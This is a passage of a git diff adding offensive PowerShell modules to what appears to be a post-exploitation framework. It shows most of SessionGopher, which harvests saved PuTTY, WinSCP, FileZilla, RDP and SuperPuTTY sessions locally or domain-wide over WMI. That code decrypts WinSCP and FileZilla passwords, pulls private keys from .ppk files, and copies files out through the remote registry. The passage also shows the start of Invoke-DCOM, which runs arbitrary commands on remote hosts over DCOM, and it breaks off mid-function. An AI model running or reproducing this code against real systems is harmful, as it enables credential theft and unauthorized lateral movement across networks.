0) { + + # Get all sessions + $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames + + foreach ($PuTTYSession in $PuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $Location = $PuTTYPath + "\" + $PuTTYSession + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = $PuTTYSession + $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($ArrayOfPuTTYSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + + if ($o) { + $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If PuTTY session exists + + if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + + # Get all sessions + $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames + + foreach ($RDPSession in $RDPSessions) { + + $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $Location = $RDPPath + "\" + $RDPSession + + $RDPSessionObject.Source = $Source + $RDPSessionObject.Hostname = $RDPSession + $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue + + [void]$ArrayOfRDPSessions.Add($RDPSessionObject) + + } + + if ($ArrayOfRDPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + + if ($o) { + $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Sessions" + $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If RDP sessions exist + + # If we find the SuperPuTTY Sessions.xml file where we would expect it + if ($SuperPuTTYPath.Name) { + + $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$SuperPuTTYXML = $FileContents + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + # If we find the FileZilla sitemanager.xml file where we would expect it + if ($FileZillaPath.Name) { + + $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$FileZillaXML = $FileContents + (ProcessFileZillaFile $FileZillaXML) + + } # FileZilla + + } # for each SID + + if ($Thorough) { + + $ArrayofPPKFiles = New-Object System.Collections.ArrayList + $ArrayofRDPFiles = New-Object System.Collections.ArrayList + $ArrayofsdtidFiles = New-Object System.Collections.ArrayList + + $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) + + (ProcessThoroughRemote $FilePathsFound) + + } + + } # for each remote computer + + # Else, we run SessionGopher locally + } else { + + Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] " + Write-Host "Digging on"(Hostname)"..." + + # Aggregate all user hives in HKEY_USERS into a variable + $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} + + # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. + foreach($Hive in $UserHives) { + + # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. + $UserObject = New-Object PSObject + + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfPPKFiles = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPFiles = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + + $objUser = (GetMappedSID) + $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) + + $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value + + # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key + $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" + $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" + $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" + $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" + $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" + + if (Test-Path $FileZillaPath) { + + [xml]$FileZillaXML = Get-Content $FileZillaPath + (ProcessFileZillaFile $FileZillaXML) + + } + + if (Test-Path $SuperPuTTYPath) { + + [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + if (Test-Path $MicrosoftRDPPath) { + + # Aggregates all saved sessions from that user's RDP client + $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath + + (ProcessRDPLocal $AllRDPSessions) + + } # If (Test-Path MicrosoftRDPPath) + + if (Test-Path $WinSCPPath) { + + # Aggregates all saved sessions from that user's WinSCP client + $AllWinSCPSessions = Get-ChildItem $WinSCPPath + + (ProcessWinSCPLocal $AllWinSCPSessions) + + } # If (Test-Path WinSCPPath) + + if (Test-Path $PuTTYPath) { + + # Aggregates all saved sessions from that user's PuTTY client + $AllPuTTYSessions = Get-ChildItem $PuTTYPath + + (ProcessPuTTYLocal $AllPuTTYSessions) + + } # If (Test-Path PuTTYPath) + + } # For each Hive in UserHives + + # If run in Thorough Mode + if ($Thorough) { + + # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem + $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList + $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList + $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList + + # All drives found on system in one variable + $AllDrives = Get-PSDrive + + (ProcessThoroughLocal $AllDrives) + + (ProcessPPKFile $PPKExtensionFilesINodes) + (ProcessRDPFile $RDPExtensionFilesINodes) + (ProcesssdtidFile $sdtidExtensionFilesINodes) + + } # If Thorough + + } # Else -- run SessionGopher locally + +} # Invoke-SessionGopher + +#################################################################################### +#################################################################################### +## Registry Querying Helper Functions +#################################################################################### +#################################################################################### + +# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive +function GetMappedSID { + + # If getting SID from remote computer + if ($iL -or $Target -or $AllDomain) { + # Get the username for SID we discovered has saved sessions + $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" + $Value = "ProfileImagePath" + + return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue + # Else, get local SIDs + } else { + # Converts user SID in HKEY_USERS to username + $SID = (Split-Path $Hive.Name -Leaf) + $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") + return $objSID.Translate( [System.Security.Principal.NTAccount]) + } + +} + +function DownloadAndExtractFromRemoteRegistry($File) { + # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by + # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location + $fullregistrypath = "HKLM:\Software\Microsoft\DRM" + $registrydownname = "ReadMe" + $regpath = "SOFTWARE\Microsoft\DRM" + + # On remote system, save file to registry + Write-Verbose "Reading remote file and writing on remote registry" + $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' + $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' + + $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds + + # Sleeping to let remote system read and store file + Start-Sleep -s 15 + + $remote_reg = "" + + # Grab file from remote system's registry + $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds + + $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) + $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) + + # Removing Registry value from remote system + $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds + + return $UTF8decoded + +} + +#################################################################################### +#################################################################################### +## File Processing Helper Functions +#################################################################################### +#################################################################################### + +function ProcessThoroughLocal($AllDrives) { + + foreach ($Drive in $AllDrives) { + # If the drive holds a filesystem + if ($Drive.Provider.Name -eq "FileSystem") { + $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue + foreach ($Dir in $Dirs) { + Switch ($Dir.Extension) { + ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} + ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} + ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} + } + } + } + } + +} + +function ProcessThoroughRemote($FilePathsFound) { + + foreach ($FilePath in $FilePathsFound) { + # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) + $ThoroughObject = "" | Select-Object -Property Source,Path + $ThoroughObject.Source = $RemoteComputer + + $Extension = [IO.Path]::GetExtension($FilePath.Name) + + if ($Extension -eq ".ppk") { + $ThoroughObject.Path = $FilePath.Name + [void]$ArrayofPPKFiles.Add($ThoroughObject) + } elseif ($Extension -eq ".rdp") { + $ThoroughObject.Path = $FilePath.Name + [void]$ArrayofRDPFiles.Add($ThoroughObject) + } elseif ($Extension -eq ".sdtid") { + $ThoroughObject.Path = $FilePath.Name + [void]$ArrayofsdtidFiles.Add($ThoroughObject) + } + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles + + if ($o) { + $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Format-List | Out-String + } + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($o) { + $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Format-List | Out-String + } + } + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($o) { + $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Format-List | Out-String + } + + } + +} # ProcessThoroughRemote + +function ProcessPuTTYLocal($AllPuTTYSessions) { + + # For each PuTTY saved session, extract the information we want + foreach($Session in $AllPuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) + $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($o) { + $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Format-List | Out-String + } + + # Add the array of PuTTY session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + +} # ProcessPuTTYLocal + +function ProcessRDPLocal($AllRDPSessions) { + + # For each RDP saved session, extract the information we want + foreach($Session in $AllRDPSessions) { + + $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $MicrosoftRDPSessionObject.Source = $Source + $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) + $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) + + } # For each Session in AllRDPSessions + + if ($o) { + $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft Remote Desktop (RDP) Sessions" + $ArrayOfRDPSessions | Format-List | Out-String + } + + # Add the array of RDP session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + +} #ProcessRDPLocal + +function ProcessWinSCPLocal($AllWinSCPSessions) { + + # For each WinSCP saved session, extract the information we want + foreach($Session in $AllWinSCPSessions) { + + $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) + $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) + $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) + + if ($WinSCPSessionObject.Password) { + $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) + + # If the user is not using a master password, we can crack it: + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + # Else, the user is using a master password. We can't retrieve plaintext credentials for it. + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + } + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For each Session in AllWinSCPSessions + + if ($o) { + $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Format-List | Out-String + } + + # Add the array of WinSCP session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + +} # ProcessWinSCPLocal + +function ProcesssdtidFile($sdtidExtensionFilesINodes) { + + foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { + + $sdtidFileObject = "" | Select-Object -Property "Source","Path" + + $sdtidFileObject."Source" = $Source + $sdtidFileObject."Path" = $Path + + [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) + + } + + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($o) { + $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process sdtid File + +function ProcessRDPFile($RDPExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes + foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) { + + $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" + + $RDPFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object + $RDPFileObject."Path" = $Path + $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + + if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { + $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" + } else { + $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" + } + if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { + $RDPFileObject."Prompts for Credentials" = "No" + } else { + $RDPFileObject."Prompts for Credentials" = "Yes" + } + + [void]$ArrayOfRDPFiles.Add($RDPFileObject) + + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($o) { + $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process RDP File + +function ProcessPPKFile($PPKExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes + foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { + + # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is + $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" + + $PPKFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object + $PPKFileObject."Path" = $Path + + $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} + $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} + $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} + + # Add the object we just created to the array of .ppk file objects + [void]$ArrayOfPPKFiles.Add($PPKFileObject) + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles + + if ($o) { + $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process PPK File + +function ProcessFileZillaFile($FileZillaXML) { + + # Locate all nodes (aka session nodes), iterate over them + foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { + # Hashtable to store each session's data + $FileZillaSessionHash = @{} + + # Iterates over each child node under (aka session) + $FileZillaSession.ChildNodes | ForEach-Object { + + $FileZillaSessionHash["Source"] = $Source + # If value exists, make a key-value pair for it in the hash table + if ($_.InnerText) { + if ($_.Name -eq "Pass") { + $FileZillaSessionHash["Password"] = $_.InnerText + } else { + # Populate session data based on the node name + $FileZillaSessionHash[$_.Name] = $_.InnerText + } + + } + + } + + # Create object from collected data, excluding some trivial information + [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) + + } # ForEach FileZillaSession in FileZillaXML.SelectNodes() + + # base64_decode the stored encoded session passwords, and decode protocol + foreach ($Session in $ArrayOfFileZillaSessions) { + $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) + if ($Session.Protocol -eq "0") { + $Session.Protocol = "Use FTP over TLS if available" + } elseif ($Session.Protocol -eq 1) { + $Session.Protocol = "Use SFTP" + } elseif ($Session.Protocol -eq 3) { + $Session.Protocol = "Require implicit FTP over TLS" + } elseif ($Session.Protocol -eq 4) { + $Session.Protocol = "Require explicit FTP over TLS" + } elseif ($Session.Protocol -eq 6) { + $Session.Protocol = "Only use plain FTP (insecure)" + } + } + + if ($o) { + $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation + } else { + Write-Output "FileZilla Sessions" + $ArrayOfFileZillaSessions | Format-List | Out-String + } + + # Add the array of FileZilla session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions + +} # ProcessFileZillaFile + +function ProcessSuperPuTTYFile($SuperPuTTYXML) { + + foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { + + foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { + if ($SuperPuTTYSession -ne $null) { + + $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" + + $SuperPuTTYSessionObject."Source" = $Source + $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId + $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName + $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host + $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username + $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs + $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port + $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession + + [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) + } + } + + } # ForEach SuperPuTTYSessions + + if ($o) { + $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation + } else { + Write-Output "SuperPuTTY Sessions" + $ArrayOfSuperPuTTYSessions | Out-String + } + + # Add the array of SuperPuTTY session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions + +} # ProcessSuperPuTTYFile + +#################################################################################### +#################################################################################### +## WinSCP Deobfuscation Helper Functions +#################################################################################### +#################################################################################### + +# Gets all domain-joined computer names and properties in one object +function GetComputersFromActiveDirectory { + + $strCategory = "computer" + $objDomain = New-Object System.DirectoryServices.DirectoryEntry + $objSearcher = New-Object System.DirectoryServices.DirectorySearcher + $objSearcher.SearchRoot = $objDomain + $objSearcher.Filter = ("(objectCategory=$strCategory)") + + $colProplist = "name" + + foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} + + return $objSearcher.FindAll() + +} + +function DecryptNextCharacterWinSCP($remainingPass) { + + # Creates an object with flag and remainingPass properties + $flagAndPass = "" | Select-Object -Property flag,remainingPass + + # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions + $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) + $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) + + $Added = $firstval + $secondval + + $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 + + $flagAndPass.flag = $decryptedResult + $flagAndPass.remainingPass = $remainingPass.Substring(2) + + return $flagAndPass + +} + +function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { + + $CheckFlag = 255 + $Magic = 163 + + $len = 0 + $key = $SessionHostname + $SessionUsername + $values = DecryptNextCharacterWinSCP($Password) + + $storedFlag = $values.flag + + if ($values.flag -eq $CheckFlag) { + $values.remainingPass = $values.remainingPass.Substring(2) + $values = DecryptNextCharacterWinSCP($values.remainingPass) + } + + $len = $values.flag + + $values = DecryptNextCharacterWinSCP($values.remainingPass) + $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) + + $finalOutput = "" + for ($i=0; $i -lt $len; $i++) { + $values = (DecryptNextCharacterWinSCP($values.remainingPass)) + $finalOutput += [char]$values.flag + } + + if ($storedFlag -eq $CheckFlag) { + return $finalOutput.Substring($key.length) + } + + return $finalOutput + +} diff --git a/data/module_source/lateral_movement/Invoke-DCOM.ps1 b/data/module_source/lateral_movement/Invoke-DCOM.ps1 new file mode 100644 index 0000000..9188b90 --- /dev/null +++ b/data/module_source/lateral_movement/Invoke-DCOM.ps1 @@ -0,0 +1,174 @@ +<# + + DCOM Lateral Movement + Author: Steve Borosh (@rvrsh3ll) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +#> + +function Invoke-DCOM { +<# + .SYNOPSIS + + Execute's commands via various DCOM methods as demonstrated by (@enigma0x3) + http://www.enigma0x3.net + + Author: Steve Borosh (@rvrsh3ll) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Invoke commands on remote hosts via MMC20.Application COM object over DCOM. + + .PARAMETER Target + + IP Address or Hostname of the remote system + + .PARAMETER Type + + Specifies the desired type of execution + + .PARAMETER Command + + Specifies the desired command to be executed + + .EXAMPLE + + Import-Module .\Invoke-DCOM.ps1 + Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe" + Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService" +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine = $true, ValueFromPipelineByPropertyName = $true)] + [String] + $ComputerName, + + [Parameter(Mandatory = $true, Position = 1)] + [ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")] + [String] + $Method = "MMC20", + + [Parameter(Mandatory = $false, Position = 2)] + [string] + $ServiceName, + + [Parameter(Mandatory = $false, Position = 3)] + [string] + $Command= "calc.exe" + ) + + Begin { + + #Declare some DCOM objects + if ($Method -Match "ShellWindows") { + + [String]$DCOM = '9BA05972-F6A8-11CF-A442-00A0C90A8F39' + } + + elseif ($Method -Match "ShellBrowserWindow") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + + elseif ($Method -Match "CheckDomain") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + + elseif ($Method -Match "ServiceCheck") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + + elseif ($Method -Match "MinimizeAll") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + + elseif ($Method -Match "ServiceStop") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + + elseif ($Method -Match "ServiceStart") { + + [String]$DCOM = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' + } + } + + + Process { + + #Begin main process block + + #Check for which type we are using and apply options accordingly + if ($Method -Match "MMC20") { + + $Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $Obj.Document.ActiveView.ExecuteShellCommand($Command,$null,$null,"7") + } + elseif ($Method -Match "ShellWindows") { + + $Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $Item = $Obj.Item() + $Item.Document.Application.ShellExecute("cmd.exe","/c $Command","c:\windows\system32",$null,0) + } + + elseif ($Method -Match "ShellBrowserWindow") { + + $Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $Obj.Document.Application.ShellExecute("cmd.exe","/c $Command","c:\windows\system32",$null,0) + } + + elseif ($Method -Match "CheckDomain") { + + $Com = [Type]::GetTypeFromCLSID("$DCOM","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + 